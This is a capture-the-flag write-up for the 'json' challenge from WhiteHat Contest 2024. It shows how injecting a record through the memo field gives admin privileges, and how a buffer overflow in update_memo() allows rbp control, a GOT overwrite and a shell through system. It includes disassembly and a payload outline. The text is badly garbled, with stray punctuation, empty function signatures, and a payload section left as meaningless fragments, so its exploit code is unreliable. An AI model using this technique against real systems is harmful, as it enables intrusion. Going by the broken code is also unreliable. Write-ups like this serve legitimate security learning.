WhiteHat Contest 2024 - json
Table of Contents
0x00. Introduction
)
Concept
Looking at the init() function, each execution creates a USER_FILE named /users/[random string] to use it as a DB file. Initially, it reads and saves the user_base.bin file as-is with the following content.
[2|guest|guest|guest memo]2: type- 1st
guest: user - 2nd
guest: pass guest memo: memo
Based on this DB file, when user and pass match, it issues a token to create a session and stores that information in the session global variable.
Structure
;
Information about issued sessions is stored in this structure format.
Goal
int __fastcall __noreturn
char *
When type is 1, we can call update_memo(), which has a BOF vulnerability.
0x01. Vulnerability
void __fastcall
create_user() allows adding users to USER_FILE, but type is hardcoded to 2.
However, there’s no validation for memo, making injection possible.
memo:AAAA]\n[1|admin|admin|admin memo
[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]
Calling create_session() with admin/admin then creates a session with type '1'.
0x02. Exploit
I thought I just needed to perform ROP, but unfortunately there were no gadgets to set arguments.
|
;
;
Initially, I tried using registers at the end of strncpy in update_memo(), but they pointed to the end of session->memo, making it impossible to insert arguments like /bin/sh.
Thinking that there must be a reason for the existance of system PLT, I examined update_memo() in assembly.
.text:0000000000402140 endbr64
.text:0000000000402144 push rbp
.text:0000000000402145 mov rbp, rsp
.text:0000000000402148 sub rsp, 10h
.text:000000000040214C lea rax, [rbp+buf]
.text:0000000000402150 mov edx, 100h ; nbytes
.text:0000000000402155 mov rsi, rax ; buf
.text:0000000000402158 mov edi, 0 ; fd
.text:000000000040215D call _read
.text:0000000000402162 mov rax, cs:session
.text:0000000000402169 mov rax, [rax+20h]
.text:000000000040216D lea rcx, [rbp+buf]
.text:0000000000402171 mov edx, 100h ; n
.text:0000000000402176 mov rsi, rcx ; src
.text:0000000000402179 mov rdi, rax ; dest
.text:000000000040217C call _strncpy
.text:0000000000402181 nop
.text:0000000000402182 leave
.text:0000000000402183 retn
The rsi argument for read is set through rbp, and since we can control rbp through BOF, AAW is also possible.
This made me think of GOT overwrite. Since strncpy’s rdi is set to session->memo, I determined we could execute a shell by placing /bin/sh there in advance.
= 0x40214C
= b * 2
+= # rbp
+= # ret
= # system
0x03. Payload
=
=
=
= 0x555555554000
=
= f
=
= f
return
= f
return
= f
return
= f
return
= f
return
=
=
=
=
=
=
=
= 0x40214C
= b * 2
+= # rbp
+= # ret
= # system
=
=